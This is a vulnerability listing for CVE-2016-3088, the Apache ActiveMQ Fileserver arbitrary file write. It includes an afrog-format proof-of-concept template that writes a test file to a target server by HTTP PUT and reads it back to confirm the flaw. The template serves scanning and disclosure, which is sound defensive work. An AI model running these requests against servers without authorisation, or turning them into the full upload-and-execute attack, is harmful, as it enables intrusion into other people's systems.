CVE-2016-3088: ActiveMQ Arbitrary File Write Vulnerability (CVE-2016-3088)

2025-08-01 ActiveMQ PoC Public

Description

The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0 allows remote attackers to upload and execute arbitrary files via an HTTP PUT followed by an HTTP MOVE request.

PoC

id: CVE-2016-3088

info:
  name: ActiveMQ Arbitrary File Write Vulnerability (CVE-2016-3088)
  author: fq_hsu
  severity: critical
  description: |-
    The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0 allows remote attackers to upload and execute arbitrary files via an HTTP PUT followed by an HTTP MOVE request.
  reference:
    - https://www.exploit-db.com/exploits/40857
    - https://medium.com/@knownsec404team/analysis-of-apache-activemq-remote-code-execution-vulnerability-cve-2016-3088-575f80924f30
    - http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2016-3088
  tags: cve,cve2016,activemq,rce
  created: 2023/07/13

set:
  fileContent: randomLowercase(6)
rules:
  r0:
    request:
      method: PUT
      path: /fileserver/afrog-poc.txt
      body: |
        {{fileContent}}
    expression: response.status == 204
  r1:
    request:
      method: GET
      path: /fileserver/afrog-poc.txt
    expression: response.status == 200 && response.body.bcontains(bytes(fileContent))
expression: r0() && r1()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities